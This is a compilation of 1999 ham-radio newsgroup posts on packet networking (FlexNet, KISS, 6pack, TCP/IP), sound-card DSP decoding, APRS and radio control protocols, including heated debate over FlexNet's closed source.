Richi,
Have you tried SB FFT12 by KW5Q? It does a good job on audio filters but needs a true Sound Blaster 16 card. It can be downloaded from: http://www.interlog.com/~stevef/amateur.htm and listed on that page as "Spectral Display/Filtering for Sound Blaster".

It will run in a DOS window using Windows 95. I had a lot of fun with it. It did a great job of wiping out hetrodynes on 40 meters.

It was designed in Microsoft Basic, so structure wasn't a concept. Basic
isn't a structured language.

>What is the military equivalent of APRS? There surely must be one, and
>there must be alot of experience with it by now -- experience that would
>help craft a next-generation APRS.

The basis of APRS is really the military system called TADIL (Tactical
Data Information Link). TADIL-A is used on HF and UHF (225 to 400 MHz).
On HF it is a DSB system, and FM on UHF. This is a master/slave system
with the master being called NCS (Net Control Station) and the polled
systems called PU's (Participant Units). It's very manual, with an
operator allowing PU's into the network, or deleting them as they fade
out. Basically you exchange radar track data, and one line messages, and
symbols. The Navy, and Ground systems were not very compatible until
about 1985 or so. In Iceland, the AWACS would link with the Navy and
it would cause Submarines to appear on their scopes moving at 460 knots.
Symbology was non-standard then, and was fixed up. Also AWACS had
more symbols than the ground radars, thus you had to be careful to
only use a few.

The latest system is called JTIDS (Joint Tactical and Information Display
System). This operates in L-Band (900 - 1100 MHz or so), but is not
something we can duplicate. It uses a hybrid mode of Spread Spectrum,
which the FCC doesn't allow in non-military systems. It combines TDM
(Time Division Multiplex) with FH (Frequency Hopping). The TDM has a
repeating cycle, and users are given time slots within that cycle. Some are
used for vocoders to send digitized voice, most are for radar symbology,
and free text messages. During the Iraq war, the three AWACS at the
Saudi front used JTIDS to link all three planes, and basically you had radar
symbology flying from the Med to central Iran, and Turkey to Yemen being
displayed. This was then filtered and relayed over TADIL to the RC-135's,
Home plate at Riyadh, and the AWACS in Turkey.

>Is there a commercial equivalent to APRS? I'd imagine public safety,
>courier, taxi and other organizations which manage a large fleet of

>would have/use something like APRS.

The next generation MDT terminals used in Emergency vehicles of big cities will use this. Each will have a GPS, and position can be viewed.

People don't really like this stuff. Truckers just hate having a GPS and someone monitoring their position. Now if a trucker detours to go fishing or gambling, the head office has an alert symbol over the truck, and usually a pink slip when he finally arrives. Same with Cops. Cops very rarely are on the beat. Most are hanging out somewhere to make the shift go faster :-)

Steve

Purchase the Windows APRS software, and it has all the
Internet linking features. Then get a cable modem, and you're
on the air 24 hrs, 7 days a week. APRS just does one line
email though. Not complete messages. You would interface
with plain old AX.25, no IP needed at the vehicle.

Go to http://www.tapr.org and join some of the APRS SIG's,
or read the old threads.

> because the ip users found no other _reliable_ way to have flexnet
> move their packets?

Donï¿½t ask me, but there is definitly *NO* code in FlexNet that changes
the way packets are delivered based on the PID.

The only exception to this rule is, that if you connect to the
digipeater, it
would answer using PID $F0 - but you wouldnï¿½t do that if you want to do
TCP/IP. I havenï¿½t had a look at the WNOS source yet (last time I did TCP
under
DOS was 3 years ago), but at that time I always used the usual PID and
it worked
perfectly (normaly VC, but DG mode also worked fine).

I donï¿½t know, but maybe these xNOSes when incorrectly configured first
try to
connect to the FlexNet digipeater and issue commands like "c digi2",
instead
of correctly doing a connect to "digi2 via digi1" as AX25 tells us.
I donï¿½t know if you can still use this connection with PID!=$F0, but Iï¿½m
pretty
sure, it would work.

The only use for "PID-$F0" encapsulation I know of is the original
NETROM, that
still cannot transport anything but PID $F0 frames (in the L3 frames
there is
no space for PID).

>
> Of course, you could also ask the IP users in the NYC area how
```

> "smoothly" the change to flexnet went.
>
> Or you could email me the magical incantation that makes flexnet play
> nicely with IP. I'm sure some tcp/ip users in NNJ/NYC would be
> interested.

I still donï¿½t understand what the TCP/IP people in the NYC-area distiguishes from the rest of
the world. At least here in Germany >1000 people happily use TCP/IP via TheNetNode
(our Netrom-clone), XNet and mainly FlexNet without any major problems.
--And of course with PID $CC or now also with PID $08 (AX25 fragmentation) and $PID06/07 (VJ
header compression).

Iï¿½m sorry I canï¿½t see a problem with FlexNet and TCP/IP. Maybe you should more
specifically state what /exactly/ the problem is and stop us from guessing.

Correct me if Iï¿½m wrong, but I still think you are fighting FlexNet, because it
is *NEW* to you and may be a bit different from what you know? This doesnï¿½t
mean it is better or worse than the systems you know of - it simply is different.

So maybe some "hacks" that where needed for other systems are not needed or do not work
with FlexNet. Does this mean, that FlexNet is bad?

This reminds me of the fact, that every 500MHz Xeon processor still has emulation for
the A20 gate to generate a memory wrap-around in real-mode, because MSDOS demands this abnormal behaviour, because the old 8088 had it...

Yes, but you would need to contact (or route to) a gateway station.

>2) Do I need to have a TCP/IP packet address (I do) or can I just use AX25?

You could connect to the gateway and send/receive mail there or use tcp/ip
and have it route directly to you. This routing is static, not dynamic,
so would only work over a limited area.

I agree that BASIC most certainly is not set up to be used that way, but
that doesn't really prevent anyone from writing structured BASIC code if
they want to. While not optimal, it can still be done and is well worth the
effort if BASIC is what you have to work with. If you're going to code in
BASIC, the fact that most BASIC programs are "spaghetti code" in no way
obligates you to do the same thing. You can write rational, well structured
BASIC code any time you want to. To heck with tradition.

Source record: 20318

Hello,

I should like to write a program to receive RTTY with the sound card of my PC. I'm looking for the principles to program the sound card for this purpose.

Is there some source code availeble, as far as you know?

Thanks,

Ydo Scheepstra

Of course you can't, because you would need a large table with AX.25
callsigns as related to IP subnets that you want to reach this way. I
would not call that "without any problems"... Maybe no problems routing
the datagrams, but problems managing the system you'll have...

This code was not written for use with Flexnet, but for use with NET/ROM.

Of course it was not required, as a mode to transport IP via NET/ROM
existed far beforehand. I thing the creator of this mode somehow wanted
to circumvent anti-TCP/IP usage policies set by the operator of his
local node. (who did not allow him to send NET/ROM frames so he needed
to use 0xF0 frames which the operator could not filter because everybody
is using them)

This is typical for amateur radio equipment remote control protocols.

The Icom CI-V protocol itself is a pretty good design but the implemented
commands are severely lacking. Usually there are many features in the
equipment that cannot be controlled via CI-V, for no apparent reason.

The Yaesu CAT protocol is a much worse protocol in itself, and suffers
from the same limitations.

It would be nice when such protocols would at least allow control of
all features available from the frontpanel, and then some things that
would be inconvenient to do from frontpanel buttons but would be practical
from a PC. Then, a PC remote control program could actually add some
value to a transceiver.

As it is now, the remote control is usually little more than a toy.
I have written a scanning application for the R-7100 that can do many
things that the receiver cannot do by itself, but it scans much slower
this way. Only because one cannot start/stop native scanning on the
receiver via CI-V.

I don't know about AOR, maybe I would buy their receiver if I knew that
the remote control protocol is more comprehensive than Icom's.

Steve Sampson wrote in message ...
>When is flexnet going to get a KISS driver?
>One that works with real TNC's.

From what I gather from the docs, the authors of FlexNet do not consider the KISS interface to be efficient enough for serious use - so they do not encourage it's use with FlexNet. If you have a TNC2 or clone, the 6-Pack EPROM image will do a much better job than KISS, and allow several TNC's on one Com Port.

There is no particular support for Kantronics TNC's that I know of. New drivers show up pretty regularly, though, so it's hard to say for sure one way or another. Six months ago, there was no support for DRSI cards, now there is a great driver for them, with soft DCD. Several more DSP boxes are supported now, too.

If you want to run an experimental FlexNet setup and your TNC or modem is not supported, just set up with a 16-bit ISA bus soundcard for less than 5 bucks for the PTT interface, or go ahead and invest 50 bucks in a new "BayPak" modem from Tigertronics. That's what I did. First I ran the soundcard, then I went over to BayPak modems for multiport use.

You can plan on that if you wish, but that business is really the FlexNet group's call, not yours or mine.

You can try http://www.soundtechnology.com which has some 30 day
evaluation software that's native to Win 95/98/NT. It does spectral analysis
of audio signals. I used it to look at some pager signals, decode PL's
(CTCSS), etc. I'd like to find some native Win 95/98/NT packet software.

I'm almost intrigued enought to try and write some software to do this.
Easy part is the FFT, tedious part is the GUI. I've thought about just
openning a WAV device and buffering the incoming data in memory, running the
FFT, then displaying the results. I'm not too sure what type of latencies
Windows will impose. Too bad Microsoft pressured Intel from including NSP in
the architecture.

So why does this work in Europe? As you know, that is exactly the way
we
do TCP/IP here. And of course no one needs a large table with AX.25
callsigns,
my routing table is less than 10 entries long. We are mainly using Linux
as
an IP router above FlexNet - yes, this Linux box of course needs a large
table of AX.25 calls. But that is a totally different story. Up to now
no one has made a statement of how to exchange IP routes between IP
routers
in a smart way (not the very limited protocols used in the internet, hop
count
definitly isnï¿½t enough!). Metric could be RTT measured using ICMP
echo...

This has all nothing to do with FlexNet. FlexNet was written as a fast
and
reliable AX.25 router. It was made for small 8bit MC6809 based systems
with
limited memory. There simply wasnï¿½t enough resources available to
implement
a proper IP-router (ok, if we stick to static routes maintained by the
sysop - that would have been possible. But that would not work reliably.
FlexNet is based on the assumption that sysops may be not too bright and
that it is better for the complete network, if everything is
adaptive and the sysop only has to setup things he understands. An IP
network
where every sysop has to understand TCP/IP works will never work).

I am working on a Win95/98 soundblaster DSP decoder now. So far, it can decode RTTY and few VHF digital modes (pagers, etc.). This is done in semi-real-time, with a delay of up to one second. Right now, the RTTY decoder doesn't have any real filters, but I'm working on it. Eventually I hope to get a (semi)real-time audio filter working.

Of course, this DSP stuff will need a Pentium or better to get decent performance under Windows... This is the drawback to using Windows, the "multitasking" really isn't.

I'll keep you informed. If you have any suggestions, send them to the e-mail address below.

> know, since neither the source or the protocol spec are available.

No, but I know the author of FlexNet ;-)

Ok, the source code isnï¿½t available, but the spec is. It had been
published years
ago (I think 1991?) in the conference proceedings of the German HAM
convention
INTERRADIO. I donï¿½t know if the proceedings are still available
somewhere, but
I got have an ASCII version of the text from Nord><Link (thanks).
If someone is interested, I can mail it (it is in German language).

In the introduction another paper is mentioned (which I donï¿½t have):
"FlexNet - the European Solution", Computer Network Conference 1990,
London/Ontario.

The protocol specified there is of course improved and extended by now,
but
essentially it is still the same.

Actually - if you look at the internode QSO between 2 FlexNet
digipeaters you
probably need 30min to understand the protocol. It is really quite
simple. Much
more difficult is it to understand the adaptive sink-tree router
(although the
basic router is described in Tannenbaumï¿½s book).

The L3 protocol FlexNet uses (AX.25 header compression) is specified in
the
FlexNet RMNC sysop manual.

Interesting, I nether saw that before.

I canï¿½t test that here, as I donï¿½t have software that can use PID $F0,
but
maybe you could send me a trace (AX25 and IP), so that I can try to find
out,
what the cause may be.

I red in this way that the ax25 router for callsign and the way to go is directed by flexnet(or xnet or tnn etc.). it manages the ax25 routes, nothing else. ip routes are managed by linuxboxes the way alex wrote.

we have in europe (in my opinion) a great net with different ip-system , different digisystems and had never any trouble with that.

When is flexnet going to get a KISS driver?
One that works with real TNC's.

Why not just plan, that in 1999, the protocol will
be fully documented, and published. That way
it can be included in commercial products that
expand the hobby.

> Ydo Scheepstra

I'm working in the same thing too. But i've cossen a Linux O.S. This simplifies the audio captue
a lot, because all the dirty things (DMA, buffers, etc) are done internally into the kernel. All you
need to do is:

1 - fd_audio=open ("/dev/dsp",O_RDONLY)

2.1 - bits=(8 or 16);
ioctl(fd, SOUND_PCM_WRITE_BITS, &bits)
2.2 - channels=(1 mono o 2 stereo);
ioctl(fd, SOUND_PCM_WRITE_CHANNELS, &channels)
2.3 - rate=samplerate;
ioctl(fd, SOUND_PCM_WRITE_RATE, &rate)

3 - read(fd_audio,buffer,NSAMPLES)

The advantages over the direct soundblaster programming are clear:

1 - No need to worry about internal details of audio capture. You can focus your effort into
the signal processing.

2 - Portabitity: The program must work with any souncard supported by the kernel.

3 - Promotion of Linux into the Ham Community and also GPL software.

242. need flexnet driver for win 3.11

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-14 00:00:00 UTC
From: Pedro Pedroso <l38217@alfa.ist.utl.pt>

Source record: 20334

Hello !
I'm using the popular baycom interface for packet operation on 2m.
The problem is I don't have any packet software that support that
kind of hardware and work on windows 3.11 .
My logging program runs only on windows, so it is not possible for
me to run the packet and my log programs at the same time.
I have the bct software that runs over flexnet, but only got
driver for win95. Since I can't install win 95 on my computer I
wonder if anyone has a flexnet driver for win 3.11

73 and thanks in advanced.

The driver should run under win 3.11, too. Just load flexnet *before*
starting win 3.11
and it should work fine. Then you can start BCT in any DOS window.

> One that works with real TNC's.

NEVER. We do not consider KISS to be a protocol that you can
go on the air with.
Ok, you can use it to link 2 computers together - anything where the
timing is not critical - and this is supported in RMNC/FlexNet as well
as in PC/FlexNet.
Use the 6pack protocol, if you want to use a TNC.

Remember: KISS was a quick hack years ago to make TCP/IP work with
ordinary TNCs. It was *never* ment to become the standard of
connecting a TNC with the PC. So treat it like that: a *hack*.
6pack instead is much better as it avoids the problems KISS has.

I quote Phil Karn KA9Q who originally "invented" KISS:

"... And KISS is a hack that K3MC and I devised 12 years
ago to handle a very specific problem -- getting "raw" frames between
a TNC and a PC that didn't have its own HDLC interface. It really
wasn't meant to be used for anything else."

>
> Why not just plan, that in 1999, the protocol will
> be fully documented, and published. That way
> it can be included in commercial products that
> expand the hobby.

What do you want? The protocol specification for the auto router?
Why?

Letï¿½s put it like this:
if you really need the specs, you are not capable of implementing the
router,
as you are not able to fully understand it. If you understand it, it is
so
obvious, that you donï¿½t need the specs. You just have a look at
the internode qso of 2 FlexNet digipeaters and you understand, how it
works.
Apart from this: the router was specified in a paper (1991 DCC,
London/Ontario).

All other things in FlexNet *are* documented (have a look at the
homepage
http://home.pages.de/~flexnet). Some things are in the written sysop

manual (in German language).

You may not use FlexNet commercially, so why should we be interested
in having it included in commercial products? So why should anyone
do the hard work and write a proper protocol specification?

We are interested in applications and hardware drivers. Here the API is
well documented and some sample source code is available (although not
on the homepage).

Always keep in mind, that FlexNet is for FREE. You may use FlexNet for
non-commercial applications in amateur radio without paying for it.
So why do you demand something that would enable others to earn money
with it?

This doesnï¿½t mean, commercial products may or should not support
FlexNet.
6pack is fully documented and by now supported by at least one
commercial TNC
(TNC3 from Symek http://www.symek.com).

Anybody know what cable to use with the Yaesu FT-840 for its CAT
interface? I know it is a 6 pin mini-din, but is it a straight
cable,or whatever? Can I just use a 6 pin mini cable from an apple
computer for this?

Even an old 8 bit SB is good enough for this pourpose. What you really need
is a fast CPU
and good software. Modern PC's are a lot faster than cheap (fixed point)
DSP's, and
Digital Signal Processing can beat any analog implementation. But this
requires a great
effort in software development.

I think that "dedicated hardware" is near to it's end...

Best regards.

I have a FT-747 that I have connected to a PC and you need a RS-232 level converter which converts the TTL radio interface to the RS232 computer port which sells from Yaesu for about $100. The other option is to make a interface cable for about $20 in parts and a couple of hours of time. The plans for the converter were in an article a couple of years ago in QST or its in the ARRL handbook.

I agree with Dana here. If someone needs the spec then, they aren't able to
'fully understand' it? It's sooo obvious? What a joke. This just shows the
hacker mentality, where nothing is speced, everything is figured out by
just poking at it. So there! If they want the thing to be proprietary,
that's fine, it's their right. Why don't they just say so, and leave at that.

Pardon me for being dense, but, um, we're just asking to use
KISS to transfer raw frames between a TNC and a PC with no HDLC
interface.

Yes, I know KISS does not reflect actual channel activity
back to host PC, and is permitted to drop frames. That doesn't
make it useless, you know. Furthermore, there's this little
matter of KISS being widely available on non-TNC-2 clones,
like the TNCs I have.

Go to their web page and download it.

You'll have to forget about the KPC-3, it's not compatible with flexnet.

Let me get this straight. You say the KISS is bad, and the Baycom is
Good? I was under the impression that the Baycom was a modem
simulator, that requires the host computer to sample the incoming
stream, and perform the HDLC simulation?

How is this better than KISS?

>Remember: KISS was a quick hack years ago to make TCP/IP work with

I haven't used a TNC-2 clone in 8 years. Don't plan to either.

If you find a bug during reverse engineering, it can be fixed in
FlexNet.
FlexNet is now 10 years old, tested on >1000 digipeaters in the RMNC
version,
and an unknown number of PCs. Of course it may still have bugs, but I
donï¿½t
think, you can easily find them during reverse engineering. Remember:
FlexNet
is not from M$... it is FREE software, written for the amateur radio
community,
- not to get rich fast.

>
> Well, I don't accept that philosophy when it comes to the OS or tools

> the huge strides that open systems have made in the past few years, with the
> concurrent rapid increases in stability, integration, and number of users.

This depends on what you want. Linux for example is as stable as it is,
because
some really good programmers keep an eye on it and not everything, that
is
hacked into it, is distributed.

If you look at the various xNOSes derived from the original KA9Q source,
this
is different. You can see there, that many people have not understood
the
source, the protocol and what they were doing.

So although open source may be a good thing, Gunter (D)K7WJ, the author
of FlexNet, has
chosen NOT to release the source code. The main reason was, that if
something

in a FlexNet network goes wrong, it is always HIM to blame.
The result of this philosophy is that FlexNet is
extremly stable (on RMNC, the PC version under Win95 has some stability
problems
that may be related to Win95 itself). The drawback of course is, that
only
features, Gunter likes, are implemented and only limited platforms are
supported.

And yet: if you canï¿½t accept, that the software you use is not open,
donï¿½t use it.

73ï¿½ Alexander

PS: Iï¿½d like to stress that I speak for myself, NOT for FlexNet
(whatever that is,
as there is no company whatsoever).

> How is this better than KISS?

HDLC emulation is not a big deal, according to measurements Tom (HB9JNX)
took, a normal
pentium can easily handle >1Mbit/s. Ok, the baycom modem itself
puts a very high interrupt load on the computer. But still: if the
computer decides to transmit - it transmits. If the computer receives
something,
it immediatly knows, it canï¿½t transmit now. With KISS, you put the
frame into the TNC and the TNC will transmit it some time. If you decide
to
transmit, you canï¿½t know your TNC is busy receiving lots of frames and
it will
take a long time until your frame is being transmitted. Maybe it was
obsolete
be the time, you get the frame, the TNC was receiving while the computer
was transmitting the frame to the TNC....
There is now way to find this out using KISS.
No problem with Baycom type modems: everything is real time. With 6pack
it is
a bit worse, you always have a considerable delay of the time the
transmission
of one byte over RS232 takes. But this is negligible compared to KISS.

Iï¿½m sorry, my posting was a bit arrogant, ok. But I was tired of always
answering
the same question for years...

The main problem with the autorouter is, that its function depends on
the
integrity of the whole network. If only one digipeater is 99%
compatible, this
could effect the whole network.
This is due to the fact that the router relies on its ability to avoid
loops.
In contrast to Netrom there is no hop counter, so if the router produces
a loop
- thatï¿½s it... Of course loops will sometimes build in any real network,
but they
should immediatly vanish, if the router works ok. If you have a faulty
implementation, this may be a problem. A FlexNet digipeater *relies* on
the
information it gets from its neighbours. This causes problems if
the information it gets is wrong.
Another important issue is when to send routing information to whom. If
you
do it too often, you waste bandwidth, if you do it not often enough, you
get
loops or you canï¿½t recover from a sudden link failure fast enough.

And still: the internode protocol itself is really very simple. It is plain ASCII,
and basically you have the RTT measuremt frames (255 spaces), the corresponding
RTT measurement and the exchange of routing information. This routing information is the call of the digipeater + the expected RTT in 0.1s units.
I think you need 10 min to understand that.
Of course there are some more frames, but nothing really difficult.

The main difficulty is the routing algorithm itself. And here, not the main algorithm,
but the behaviour if something goes wrong, is important. So it is really important
to fully understand the way the router works, before you try to implement it.
I couldnï¿½t do it...

Trying to write a specification for this router would be a tedious task, as you
1. have to specify the protocol [easy]
2. have to describe the router [difficult]
3. have to specify the behaviour of the router under any conditions that might
occur (like having digipeaters in the network with faulty hardware/software)
[extremly difficult].
4. have to specify some other features, mandatory for FlexNet or for the users
of FlexNet ("reversable" AX.25 address field, PID independed transport, fully
adaptive parameters...)

Currently I know of 5 attempts to implement the FlexNet router:

The 1st was Baycom-Node for PCs, which is not supported anymore.
The Baycom people decided to use the "real" FlexNet instead and contributed to PC/FlexNet.
There was than a software called Digiware, mainly for a V50 based TNC (Falcon).
In Wampes (Unix) there is a FlexNet compatible router included (with source), but
I donï¿½t know how good it is.
Quite new are implementations of the autorouter in Xnet and TheNetNode (source available).

So you canï¿½t say, the router is really proprietary. From all of the above only
Baycom together with the author of FlexNet once described the router in a
paper. This was not a real specification, only part 1. and an overview of 2.
were covered. What you demand is a whole lot of work for which I donï¿½t

see
enough reason to do it.

The interoperability is still given without a spec, as "on the outside"
every FlexNet
digipeater uses AX.25. Furthermore for PC/FlexNet two software
interfaces are
documented and supported:
- the L1 driver interface for new hardware - if anybody really thinks
KISS
needs to be supported, it is possible.
- the application interface

The percentage of amateurs that need more information is too low to
justify the work on
a proper specification. If you insist I can try to find a copy of the
"famous" DCC paper
- I just have the German ASCII version.

I doubt a Pentium can handle that rate on its serial port. Maybe a good
soundcard with a DMA buffer...

A lot of what you say about KISS is statistically correct, but technically
unimportant until you get to data rates over 100 kbps. Stuff most
Amateurs use, is very slow, and the latency of the TNC using a serial
port is not as technically challenging as you outline. All that KISS is,
is a SLIP with a command byte. The command byte can be used to
set TNC parameters, or address channels. Your argument may have
some merit at 1.2 kbps, where computer frames are 100 times the
speed capability of the modem, less merit at higher speeds.

Consider for example, that modems are connected to serial ports,
and the data can easily overrun the modem rate. Are you sugesting
that serial ports should be thrown out, and we should use Baycom
modem simulators to do our internet with? After all, the computer
may send a byte to the modem, and "take a long time until your
frame is being transmitted. Maybe it was obsolete."

I suggest that your technical argument, is actually an emotional
argument, and one not based on any facts. You are theorizing

about something that doesn't happen in the real world. Since
more than 75% of Amateur Radio communications is via TNC's
in the United States, with Baycom type modems below 10% use,
I can only theorize that the flexnet development is not interested
in deploying their system outside of Germany. To do so here,
would be for Hams to invest in more equipment for an already
obsolete data rate. It's like Microsoft spending all its time
developing for a Commodore 64 computer, and ignoring the fact
that 75% of computer owners don't own one.

I suggest, that if you are serious about making in-roads into the
US, that you study what they have now. Right now, flexnet is a
non-event. You can brag all you want, I for one am not going to
buy a modem simulator to see if it works at 1.2 kbps. No, I think
I will wait for a TAPR modem that uses (gasp) an ethernet port.

Of course not, I ment only the HDLC operation itself.

Yes, but here the "L2" is in the modem. The modem does all the handling
of the data. KISS on the other hand is nothing more than 2 wires with
lots of latency between the computer and the HDLC.
Apart from that: who is using your telephone line while the modem is
online?
Yes: you and only you (at least I hope so ;-)). This is different
for a wireless network where you have to share the channel amoung
others. And
of course the modem does full duplex - so it may send while receiving.
Another difference between your telephone line and the wireless channel
is, that
the latter may change - your telephone line is static. So it is much
easier for
the modem to handle the traffic than for the TNC. Now you put in a lot
of latency (=KISS). Iï¿½m not saying, it wonï¿½t work with KISS, Iï¿½m just
saying
it will work not as good as some other hardware.

Ok, that is right. I for myself wouldnï¿½t spend any money on upgrading a
TNC
for 1k2 so that it can be used together with FlexNet. (BTW I doubt, that
all these
TNCs are currently all operated using KISS - but this is another thing).
TNC2 clones work fine with 6pack.

In Germany I think 75% use TNCs aswell, but less than 5% use Kantronics
equipment.
Mainly TNC2 compatible TNCs are used. We donï¿½t have the
possibility to change Kantronics firmware, so they would have to do
that. They
did it once and implemented the DAMA mode (which is needed here as about
30%
of our digipeaters use it). So if the HAMs in the states would ask
Kantronics,
maybe they can implement 6pack. It isnï¿½t difficult at all, but of course
they
would have to believe that it is important to have this feature.

You still ignore the fact that Microsoft has to earn money with their
software, we donï¿½t (at least not with FlexNet). Amateur radio is a
hobby (at least for me).

Of course something like that would be great. Or USB which could be much
cheaper.
Writing a L1 driver for FlexNet shouldnï¿½t be too hard...

Anyway... we are not selling FlexNet. If you want to use it, fine.
And if you donï¿½t want to use FlexNet, thatï¿½s also fine.

If you want to use KISS, you can. The FlexNet KISS driver only does not
support
setting the L1 parameters - you can do this with a small program. From a
technical point of view you reduce the capabilities of FlexNet a lot, as
you
loose the adaptive channel access - but you can use it that way.
Or lets put it like that: you can do CW with an SSB filter. You can even

do a CW contest that way... but it is much easier with a narrow CW
filter.

Charles, I appreciate your enthusiasm for amateur radio, but you're
clearly not a software engineer. Unless you've designed and/or
implemented network protocols, device drivers and network applications,
you're really not in a position to speak with any kind of authority.

Heh. I'm sure you've seen the (increasingly popular) 'controllerless'
modems, they're just a data pump and a smarter device driver. If that
isn't enough, some PC folks are promoting the notion of a 'pumpless'
modem, just a DAA (telephone interface) and a codec. This is just
about the same as using Baycom to surf the net; I tend to believe
Intel is behind this idea, since it increases CPU horsepower requirements
and continues demand for faster processors, something Intel is interested
in ;-).

No, we're not ignorant of that fact. That's the most confusing thing;
insisting on keeping the FlexNet specification and implementation
proprietary is exactly what a business would do. The open software
model (open specifications and open source code) has been an overwhelming
success, allowing far greater leverage of software engineering talent
than otherwise possible. Gnu/Linux are a *clear* indication of how to
make a volunteer development wildly successful.

I appreciate that Flexnet is kept proprietary out of the fear of
poor implementations wreaking havoc. By insisting everyone runs
the same implementation, issues of interoperability are reduced.
This comes at a huge cost, however.

> > I suggest, that if you are serious about making in-roads into the

USB could be cheaper due to the mass-production advantage, but it
hasn't quite happened yet. Adding an Ethernet port to an improved
TNC2-class device is certainly appealing. Sometimes I think that
Jini is in the picture, too.

> Anyway... we are not selling FlexNet. If you want to use it, fine.
> And if you don't want to use FlexNet, that's also fine.

That's clearly true. However, the problem you have is that amateur
radio is not entirely composed of 'appliance operators'. Some of
us like to understand (in depth) how things work, and build, modify
and improve things. By keeping Flexnet proprietary, you exclude
innovation by the experimenters, and insist that all users relegate
themselves to only appliance operation.

P.S. It isn't my intention to insult appliance operators; amateur
radio certainly includes 'operation'. However, a unique facet of

amateur radio is the incentive to experiment, and I'm not willing
to see that facet compromised.

268. APRS Test this Sunday

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-15 00:00:00 UTC
From: Ciemon G0TRT <hammie@bigfoot.com>
Message-ID: <77nt6o$b60$1@news4.svr.pol.co.uk>
Source record: 20263
Cross-posted to: rec.radio.amateur.digital.misc,uk.radio.amateur

This Sunday there will be a test of APRS in the UK.

Anyone who is running the software, or has their beacon text setup for APRS can join in at anytime this Sunday.

The frequency will be 144.8 and will last from midnight on Saturday until midnight on Sunday.

A few pointers, not only for the test but generally for APRS operation:

1. Ensure your unproto is APRS v RELAY,WIDE this will give the best coverage.
2. Make some reference to a point of contact in your btext or status text, your BBS or email address will do.
3. Try and set one of your aliases to RELAY and if you are well placed for coverage try and set your nodecall to WIDE.
4. Of course you must have digipeat turned on

The above will ensure that you are seen by more people and when you are seen, you'll be contactable.

Good luck

The issue, Charles, is not about efficiency. The issue is apparently
one of latency. Frankly, I tend to believe the emphasis on low-latency
may be overwhelmed by the rather long latency typical of PLL transmitters.

How do you define efficiency in this context, Charles?

You're missing the boat, Charles. Since the specification and implemention
of Flexnet are proprietary, we don't know just how advanced Flexnet
really is. There's no open, independent review of the technology.

What kind of engineering do you do, Charles, that makes you feel
competent to make such statements?

I haven't programmed in BASIC for probably 30 years, but when I tried to
look at BASIC recently, it still appeared to lack a number of modern
language constructs. Can anyone tell me whether today's BASIC provides:

o Resonable control over the scope of names?

o Recursion?

o User-defined data types?

o Support for an object-oriented style of programming? (I assume
it is pretty much impossible to extend BASIC to support objects.)

o ...

There is a lot to be said for using a modern programming language. I think
"modern programming language" rules out assembly language, BASIC, and
probably C.

What are the motivations for using BASIC for amateur radio software?

>decode RTTY and few VHF digital modes (pagers, etc.).

For your information : When completed and ok, i am willing to pay up to $150
if i get these modes :

ITA-2 or baudot/RTTY
Swed-ARQ
Pactor
Sitor-A/B
Amtor or Packet/AX-25

it would be nice that not just Mac-users could decode RTTY with their SBC...

Good luck further !

Alexander --

First let me say that the Flexnet team has done a great thing buy creating Flexnet and distributing it free of cost to hams. I've basically only done minor bits of playing with it, but it seems very useful and well done.

I (and several others on this thread) are a little disconcerted by this attitude regarding specifications however. A couple of months ago this topic came up on this newgroup, and I responded with a minor diatribe about free software.

Free software is valuable not just because it doesn't cost anything. It is valuable because it can be adapted, expanded, ported, and serve as a springboard for even better software developments. It can be audited, suggestions made, bugs fixed, new versions deployed, all in parallel. The power of free software is being well demonstrated in Linux, FreeBSD, apache, perl, gcc, and god knows how many other signicant bits of software.

Charles Brabham said that Flexnet was too important to allow just any yutz into the source code. I suggest that it is too important not to. For every yutz, you also have the oppportunity to find those who can legitimately

critique, suggest and improve your software.

Linux is one of the most anarchistic software development projects
imagineable. I used to track the kernel revisions. Can I tell you how many
times I saw

Revision n: Added kernel function x.
Revision n+1: Deleted x, it didn't work with y.
Revision n+2: Deleted y, put x back in.
Revision n+3... and so on...

Yet somehow it all works. It doesn't work because it is closed, it works
because it is open.

> If you look at the various xNOSes derived from the original KA9Q source,
> this
> is different. You can see there, that many people have not understood
> the
> source, the protocol and what they were doing.

There is certainly some benefit from having an overall view of the software
system and the technical merits of changes. It also helps to have a central
clearing house for enhancements and bug fixes so work is not duplicated. The
Internet has helped make that easier, a luxury that was for the most part
absent in the formative years of KA9Q.

>
> So although open source may be a good thing, Gunter (D)K7WJ, the author
> of FlexNet, has
> chosen NOT to release the source code. The main reason was, that if

> in a FlexNet network goes wrong, it is always HIM to blame.

Unfortunately, if someone else comes up with a good idea, it is lost. And if
someone discovers a bug, they have to wait for him to fix it.

> The result of this philosophy is that FlexNet is
> extremly stable (on RMNC, the PC version under Win95 has some stability
> problems

> that may be related to Win95 itself). The drawback of course is, that
> only
> features, Gunter likes, are implemented and only limited platforms are
> supported.

Do you think there aren't Win95 experts who might be able to help you address the stability problems? And the drawbacks you mention are serious ones (and rather childish when you think about it).

> And yet: if you can't accept, that the software you use is not open,
> don't use it.

Don't you think it is too bad that there are people who could donate their time and energy to help make Flexnet better who are instead eliminated from promoting technical development of Packet radio?

Anyway, just somethings to think about...

As a side, note, here is a snippet of the monitored tcpip activity I mentioned earlier. This same stuff does not show on a 'BPQ node's monitor screen, and to be honest, I don't remember seeing it on my old JNOS system either.

The following was monitored using FlexNet/Clusse. (Clusse is a freeware DXC program which works with either 'BPQ or FlexNet.)

07:17:34 1:WB5NBA-1 >> KB5KWV-5 NR B5NBA1-1 >> B5I-5 CA 0/20
Socket 20/6, accepted L4 window; 66

TCPIP is not very sophisticated as an amateur packet radio networking
protocol. In fact, it's rather backward in that respect. Very poor example.

>It has become somewhat popular, much to your dismay.

The popularity of the Internet (or lack thereof) does not affect me in any
significant way, except when the local access becomes overcrowded.

No need to explain. It simply was not required in the development of
FlexNet.

Looking back on *NOS's ten years of open development, and comparing it with
the accomplishments of the authors of FlexNet over that same span of time,
I'd say you have picked a very difficult position to defend.

...and none of these is as advanced as FlexNet as a Packet Radio Networking protocol. - That's the point you appear to have trouble comprehending. Sure those are openly developed. - But none of those are developed and intended as Packet Radio Networking protocols either. TCPIP "CAN" be used as a packet radio networking protocol, but it is not noted for it's high performance when used with radios. FlexNet is noted precisely for that.

Try to stay on topic, if possible. We are talking about a networkjing protocol for Amateur Packet Radio, not a browser, E-mail program, ect ect. Try to stay focused, as much as you are up to.

>
>> with something; Anything demonstrably as good or better than FlexNet

>
>Charles, why does ham radio need "yet another protocol"?

